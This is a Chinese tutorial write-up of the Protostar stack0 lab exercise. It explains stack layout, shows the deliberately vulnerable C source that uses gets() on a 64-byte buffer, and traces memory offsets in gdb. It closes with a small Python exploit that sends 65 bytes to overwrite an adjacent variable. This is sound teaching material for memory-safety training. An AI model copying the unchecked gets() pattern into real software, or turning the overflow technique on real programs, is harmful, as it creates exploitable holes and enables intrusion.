Protostar——stack0

简介

  我们知道,当程序执行进入一个新的函数时,系统会为函数在栈上分配一块空间,用来存储函数中使用的参数和局部变量信息,用寄存器ESP和EBP指示空间范围,当从函数返回时,这块空间也会被抛弃,实际上就是修改ESP和EBP寄存器中的值。这个练习说明了变量在栈的分配情况,以及怎样突破ESP和EBP对空间的限制,修改分配空间外的数据,使得函数的执行逻辑发生变化。

源码

       
 1 #include <stdlib.h>
 2 #include <unistd.h>
 3 #include <stdio.h>
 4 
 5 int main(int argc, char **argv)
 6 {
 7     volatile int modified;
 8     char buffer[64];
 9 
10     modified = 0;
11     gets(buffer);
12 
13     if(modified != 0) {
14         printf("you have changed the 'modified' variable\n");
15     } else {
16         printf("Try again?\n");
17     }
18 } 

分析

  这个练习只是一个练手,所以很简单。
  程序中包含两个变量,一个modified,被声明为volatile,这个标识符表示每次使用modified变量都从内存中读取值,而不是使用cache中保存的值;还有一个变量buffer,占用64个字节的空间。程序使用gets函数读取用户输入,并保存到buffer中,之后根据modified变量的值决定if语句的执行逻辑。
  按照正常情况,由于modified使用等于0,因此程序应该使用输出"Try again?",但是由于在获取用户输入时没有判断用户输入数据的大小,因此用户可能会输入大于64个字节的内容,造成栈溢出。那么我们怎么通过这个栈溢出漏洞修改modified的值,从而修改if语句的执行逻辑呢?

调试程序

  Stack0在/opt/protostar/bin/文件夹中,直接执行

gdb stack0

  进入gdb调试,根据源码,在第13行设置断点

b 13

  执行r,使程序继续执行,并输入aaaa作为用户输入,程序在第13行暂停,我们先来看一下EBP和ESP的值

(gdb) print $ebp
$1 = (void *) 0xbffffcb8
(gdb) print $esp
$2 = (void *) 0xbffffc50

  我们可以输出这部分内存的内容

1 (gdb) x/26xw 0xbffffc50
2 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e
3 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x61616161
4 0xbffffc70: 0xb7fd7f00 0x08049620 0xbffffc88 0x080482e8
5 0xbffffc80: 0xb7ff1040 0x08049620 0xbffffcb8 0x08048469
6 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffffcb8
7 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
8 0xbffffcb0: 0x08048450 0x00000000

  可以看到第二行最后的0x61616161,这就是我们输入的aaaa,也是buffer的起始位置。再来看一下变量modified在哪里

(gdb) info address modified
Symbol "modified" is a local variable at frame offset 92.

  我已经把偏移值为92的位置加红了,我们可以看到buffer的起始位置和modified相差64个字节。在这次执行时我们只输入了"aaaa",如果我们继续输入超过64个字节的内容,就会覆盖modified变量的值,但是要注意不要超过变量modified的位置,否则会覆盖其他关键信息(例如返回地址),使程序崩溃。

EXPLOIT的编写

  那么exploit都需要做些什么呢?其实很简单,就是执行stack0这个程序,并在程序需要用户输入时,自动输入payload,我们的payload可以是65个a字符。
  因为要在程序执行过程中处理用户输入的问题,所以使用subprocess模块。
exploit代码:

1 import subprocess
2 proc = subprocess.Popen("/opt/protostar/bin/stack0", stdin=subprocess.PIPE)
3 payload = 'a' * 65
4 proc.communicate(payload)

  执行将上述代码保存为python文件并运行,就会发现程序输出已经变成了"you have changed the 'modified' variable"

参考文献

  1. https://docs.python.org/2/library/subprocess.html#popen-objects
  2. http://www.yolinux.com/TUTORIALS/GDB-Commands.html
  3. https://exploit-exercises.com/protostar/stack0/

猜你喜欢

转载自www.cnblogs.com/white-noise/p/8973670.html